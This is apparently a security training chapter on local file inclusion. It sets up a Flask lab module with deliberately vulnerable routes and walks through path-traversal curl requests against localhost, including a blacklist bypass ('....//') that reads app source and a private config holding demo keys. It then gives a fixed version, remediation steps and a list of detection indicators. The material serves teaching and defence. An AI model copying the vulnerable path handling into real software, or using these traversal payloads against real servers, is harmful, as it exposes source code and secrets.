Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter III - Web / 05. LFI

Example

This example uses the shared Flask lab.

We plug LFI in as the fifth web module.

Complete the Chapter III Introduction setup first. The base app.py, schema.sql, seed.sql, and database.db must already exist.

The flow is:

create modules/lfi.py
register the blueprint in app.py
restart Flask
visit /lfi/basic

The LFI module provides four pages:

/lfi/basic
/lfi/blacklist
/lfi/better
/lfi/fixed

Plug In The Module

From the lab directory (disregard if you have already done this):

cd ~/ootw-web-lab
source .venv/bin/activate
mkdir -p modules
touch modules/__init__.py

Create modules/lfi.py:

cat > modules/lfi.py <<'EOF'
from pathlib import Path

from flask import Blueprint, abort, redirect, render_template_string, request

from app import get_db


bp = Blueprint("lfi", __name__, url_prefix="/lfi")

BASE_DIR = Path(__file__).resolve().parents[1]
LAB_ROOT = BASE_DIR / "lab_pages"
PUBLIC_ROOT = LAB_ROOT / "public"
PRIVATE_ROOT = LAB_ROOT / "private"
MAX_READ_BYTES = 4000

SAFE_PAGES = {
    "welcome": "welcome.txt",
    "status": "status.txt",
    "help": "help.txt",
}


PAGE = """
<!doctype html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>{{ title }}</title>
    <style>
        body { font-family: system-ui, sans-serif; max-width: 900px; margin: 40px auto; line-height: 1.5; }
        nav a { margin-right: 12px; }
        label { display: block; margin-top: 12px; }
        input { width: 100%; padding: 7px; box-sizing: border-box; }
        button { margin-top: 12px; padding: 7px 10px; }
        pre { background: #111; color: #eee; padding: 12px; overflow-x: auto; }
        code { background: #eee; padding: 2px 4px; }
    </style>
</head>
<body>
    <h1>{{ title }}</h1>

    <nav>
        <a href="/lfi/basic?page=welcome.txt">basic</a>
        <a href="/lfi/blacklist?page=welcome.txt">blacklist</a>
        <a href="/lfi/better?page=welcome">better</a>
        <a href="/lfi/fixed?page=welcome">fixed</a>
        <a href="/lfi/audit">audit</a>
    </nav>

    <p>{{ description }}</p>

    <h2>Expected Pages</h2>
    <ul>
        {% for item in visible_pages %}
        <li><a href="/lfi/{{ stage }}?page={{ item["value"] }}">{{ item["label"] }}</a></li>
        {% endfor %}
    </ul>

    <form method="get" action="/lfi/{{ stage }}">
        <label for="page">Page</label>
        <input id="page" name="page" value="{{ requested_page }}">
        <button type="submit">Load Page</button>
    </form>

    {% if resolved_path %}
    <h2>Resolved Path</h2>
    <pre>{{ resolved_path }}</pre>
    {% endif %}

    {% if content is not none %}
    <h2>Content</h2>
    <pre>{{ content }}</pre>
    {% endif %}
</body>
</html>
"""


AUDIT_PAGE = """
<!doctype html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>LFI Audit</title>
</head>
<body>
    <h1>LFI Audit</h1>
    <p>This page shows recent local file access events from the local lab.</p>
    <p><a href="/lfi/basic?page=welcome.txt">back to LFI lab</a></p>

    {% for event in events %}
    <article>
        <p><strong>{{ event["event_type"] }}</strong> - {{ event["username"] }}</p>
        <pre>{{ event["detail"] }}</pre>
        <small>{{ event["created_at"] }}</small>
    </article>
    {% else %}
    <p>No LFI events yet.</p>
    {% endfor %}
</body>
</html>
"""


def ensure_lab_pages():
    PUBLIC_ROOT.mkdir(parents=True, exist_ok=True)
    PRIVATE_ROOT.mkdir(parents=True, exist_ok=True)

    files = {
        PUBLIC_ROOT / "welcome.txt": "Welcome to the OOTW help center.\nThis page is intended to be public.\n",
        PUBLIC_ROOT / "status.txt": "Status: all public systems nominal.\n",
        PUBLIC_ROOT / "help.txt": "Help: choose one of the approved public pages.\n",
        PRIVATE_ROOT / "internal-config.txt": (
            "internal_mode=training\n"
            "api_key=ootw-lfi-demo-key\n"
            "reset_token=ootw-lfi-demo-reset\n"
        ),
    }

    for path, body in files.items():
        if not path.exists():
            path.write_text(body, encoding="utf-8")


def visible_pages_for(stage):
    if stage == "fixed":
        return [
            {"label": "welcome", "value": "welcome"},
            {"label": "status", "value": "status"},
            {"label": "help", "value": "help"},
        ]

    return [
        {"label": "welcome.txt", "value": "welcome.txt"},
        {"label": "status.txt", "value": "status.txt"},
        {"label": "help.txt", "value": "help.txt"},
    ]


def load_content(path):
    try:
        if not path.is_file():
            return None

        data = path.read_bytes()[:MAX_READ_BYTES]
        return data.decode("utf-8", errors="replace")
    except OSError:
        return None


def log_access(stage, requested_page, target, decision):
    detail = (
        f"stage={stage} "
        f"requested_page={requested_page} "
        f"target={target} "
        f"decision={decision}"
    )

    db = get_db()
    db.execute(
        """
        INSERT INTO audit_log (event_type, username, detail)
        VALUES (?, ?, ?)
        """,
        (f"lfi-{stage}", "operator", detail),
    )
    db.commit()


def render_lab(stage, title, description, requested_page, target, content):
    resolved_path = ""
    if target is not None:
        resolved_path = str(target)

    return render_template_string(
        PAGE,
        stage=stage,
        title=title,
        description=description,
        requested_page=requested_page,
        resolved_path=resolved_path,
        content=content,
        visible_pages=visible_pages_for(stage),
    )


def weak_blacklist(value):
    value = value.replace("../", "")
    value = value.replace("..\\", "")
    return value


@bp.get("/")
def index():
    return redirect("/lfi/basic?page=welcome.txt")


@bp.get("/basic")
def basic():
    ensure_lab_pages()
    requested_page = request.args.get("page", "welcome.txt")
    target = PUBLIC_ROOT / requested_page
    content = load_content(target)

    if content is None:
        log_access("basic", requested_page, target, "missing")
        abort(404)

    log_access("basic", requested_page, target, "read-without-path-check")
    return render_lab(
        "basic",
        "LFI Basic",
        "The route joins the page parameter to the public page directory and reads the result.",
        requested_page,
        target,
        content,
    )


@bp.get("/blacklist")
def blacklist():
    ensure_lab_pages()
    requested_page = request.args.get("page", "welcome.txt")
    filtered_page = weak_blacklist(requested_page)
    target = PUBLIC_ROOT / filtered_page
    content = load_content(target)

    if content is None:
        log_access("blacklist", requested_page, target, "missing")
        abort(404)

    log_access("blacklist", requested_page, target, "read-after-string-cleanup")
    return render_lab(
        "blacklist",
        "LFI Weak Blacklist",
        "The route removes one exact traversal spelling, then still reads a user-controlled path.",
        requested_page,
        target,
        content,
    )


@bp.get("/better")
def better():
    ensure_lab_pages()
    requested_page = request.args.get("page", "welcome")
    filename = requested_page

    if not filename.endswith(".txt"):
        filename = f"{filename}.txt"

    target = PUBLIC_ROOT / filename
    content = load_content(target)

    if content is None:
        log_access("better", requested_page, target, "missing")
        abort(404)

    log_access("better", requested_page, target, "read-after-extension-append")
    return render_lab(
        "better",
        "LFI Better Extension Appending",
        "The route forces a .txt extension, but it still allows traversal into another text file.",
        requested_page,
        target,
        content,
    )


@bp.get("/fixed")
def fixed():
    ensure_lab_pages()
    requested_page = request.args.get("page", "welcome")
    filename = SAFE_PAGES.get(requested_page)

    if filename is None:
        log_access("fixed", requested_page, PUBLIC_ROOT, "blocked-page-id")
        abort(404)

    public_root = PUBLIC_ROOT.resolve()
    target = (PUBLIC_ROOT / filename).resolve()

    try:
        target.relative_to(public_root)
    except ValueError:
        log_access("fixed", requested_page, target, "blocked-path-escape")
        abort(404)

    content = load_content(target)
    if content is None:
        log_access("fixed", requested_page, target, "missing")
        abort(404)

    log_access("fixed", requested_page, target, "allowed-page-id")
    return render_lab(
        "fixed",
        "LFI Fixed",
        "The route maps page IDs to known files and verifies the resolved path stays inside the public directory.",
        requested_page,
        target,
        content,
    )


@bp.get("/audit")
def audit():
    db = get_db()
    events = db.execute(
        """
        SELECT event_type, username, detail, created_at
        FROM audit_log
        WHERE event_type LIKE 'lfi-%'
        ORDER BY id DESC
        LIMIT 30
        """
    ).fetchall()
    return render_template_string(AUDIT_PAGE, events=events)
EOF

Now register the module in app.py.

Add this near the bottom of app.py, after the route definitions and before the if __name__ == "__main__": block:

from modules.lfi import bp as lfi_bp
app.register_blueprint(lfi_bp)

If the earlier web modules are already plugged in, keep those lines and add LFI below them:

from modules.xss import bp as xss_bp
app.register_blueprint(xss_bp)

from modules.idor import bp as idor_bp
app.register_blueprint(idor_bp)

from modules.command_injection import bp as command_injection_bp
app.register_blueprint(command_injection_bp)

from modules.file_uploads import bp as file_uploads_bp
app.register_blueprint(file_uploads_bp)

from modules.lfi import bp as lfi_bp
app.register_blueprint(lfi_bp)

Run the app:

flask --app app run --host 127.0.0.1 --port 5000

Confirm the module is live:

curl -i "http://127.0.0.1:5000/lfi/basic?page=welcome.txt"

Basic Vulnerability

Open:

http://127.0.0.1:5000/lfi/basic?page=welcome.txt

This page reads the requested file from the public page directory:

target = PUBLIC_ROOT / requested_page
content = load_content(target)

The vulnerable route joins paths, but it never checks where the final path lands.

Normal request:

curl -i "http://127.0.0.1:5000/lfi/basic?page=welcome.txt"

Exploit application source code:

curl -i "http://127.0.0.1:5000/lfi/basic?page=../../app.py"

Exploit seed data:

curl -i "http://127.0.0.1:5000/lfi/basic?page=../../seed.sql"

The request escapes from:

lab_pages/public

and reaches files in the lab application directory.

This proves local file read through a user-controlled path.

BasicExploit


Basic Protection - Weak Blacklist

Open:

http://127.0.0.1:5000/lfi/blacklist?page=welcome.txt

This page removes one exact traversal spelling:

value = value.replace("../", "")
value = value.replace("..\\", "")

That damages this payload:

../../app.py

It does not make the route safe.

Bypass with a one-pass cleanup trick:

curl -i "http://127.0.0.1:5000/lfi/blacklist?page=....//....//app.py"

The blacklist turns:

....//....//app.py

into:

../../app.py

The route still reads the application source code.

MidExploit


Better Protection - Extension Appending

Open:

http://127.0.0.1:5000/lfi/better?page=welcome

This page forces the filename to end in .txt:

if not filename.endswith(".txt"):
    filename = f"{filename}.txt"

That blocks a direct attempt to read app.py.

Test it:

curl -i "http://127.0.0.1:5000/lfi/better?page=../../app.py"

Expected:

404 Not Found

However, the route still allows traversal into another .txt file.

Exploit the private lab config:

curl -i "http://127.0.0.1:5000/lfi/better?page=../private/internal-config"

The application appends .txt and reads:

lab_pages/private/internal-config.txt

The extension changed. The path boundary did not.

![[Chapter III - Web/5. LFI/Exploit.png]]


Fixed Version

Open:

http://127.0.0.1:5000/lfi/fixed?page=welcome

The fixed page does three things:

  • It accepts page IDs, not filenames.
  • It maps page IDs to known server-side filenames.
  • It verifies the resolved path stays inside the public page directory.

The safe lookup:

filename = SAFE_PAGES.get(requested_page)
target = (PUBLIC_ROOT / filename).resolve()
target.relative_to(PUBLIC_ROOT.resolve())

Run a normal request:

curl -i "http://127.0.0.1:5000/lfi/fixed?page=welcome"

Run the original traversal:

curl -i "http://127.0.0.1:5000/lfi/fixed?page=../../app.py"

Expected:

404 Not Found

Run the private config traversal:

curl -i "http://127.0.0.1:5000/lfi/fixed?page=../private/internal-config"

Expected:

404 Not Found

The route no longer lets the request choose a filesystem path.


Local Impact Proof

Use the vulnerable route to prove local file read:

curl -i "http://127.0.0.1:5000/lfi/basic?page=../../app.py"
curl -i "http://127.0.0.1:5000/lfi/basic?page=../../seed.sql"

Then view:

http://127.0.0.1:5000/lfi/audit

The audit page shows the requested page, target path, and decision.

This proves the useful impact:

stage=basic
requested_page=../../app.py
decision=read-without-path-check

The application did not need SQL injection, XSS, or command execution. It read local files because the request controlled the path.

Audit


Remediation

Patch LFI by removing raw path control:

  • Use page IDs instead of user-controlled filenames.
  • Map allowed IDs to server-side filenames.
  • Resolve the final path before opening it.
  • Verify the resolved path stays inside the intended directory.
  • Reject absolute paths.
  • Reject traversal instead of trying to clean it.
  • Avoid detailed filesystem errors in responses.
  • Keep sensitive config outside directories used by file viewer features.
  • Log rejected traversal attempts.

Safe pattern:

SAFE_PAGES = {"welcome": "welcome.txt", "status": "status.txt"}

page_id = request.args.get("page", "welcome")
filename = SAFE_PAGES.get(page_id)

if filename is None:
    abort(404)

base = PUBLIC_ROOT.resolve()
target = (PUBLIC_ROOT / filename).resolve()
target.relative_to(base)

The final resolved path is the boundary that matters.


Detection

Useful signals include:

  • Requests containing ../, ..\\, or repeated dot-slash patterns.
  • URL-encoded traversal such as %2e%2e%2f.
  • Requests for source files such as app.py, config.py, or seed.sql.
  • Requests for private application files from public viewer routes.
  • Repeated 404 responses across many path depths.
  • File read events where the resolved path leaves the intended directory.
  • Blacklist bypass patterns such as ....//.

Useful payload indicators:

../
..\
....//
%2e%2e%2f
%252e%252e%252f
app.py
seed.sql
internal-config

Detection is not the fix. It shows which path boundaries attackers are trying to cross.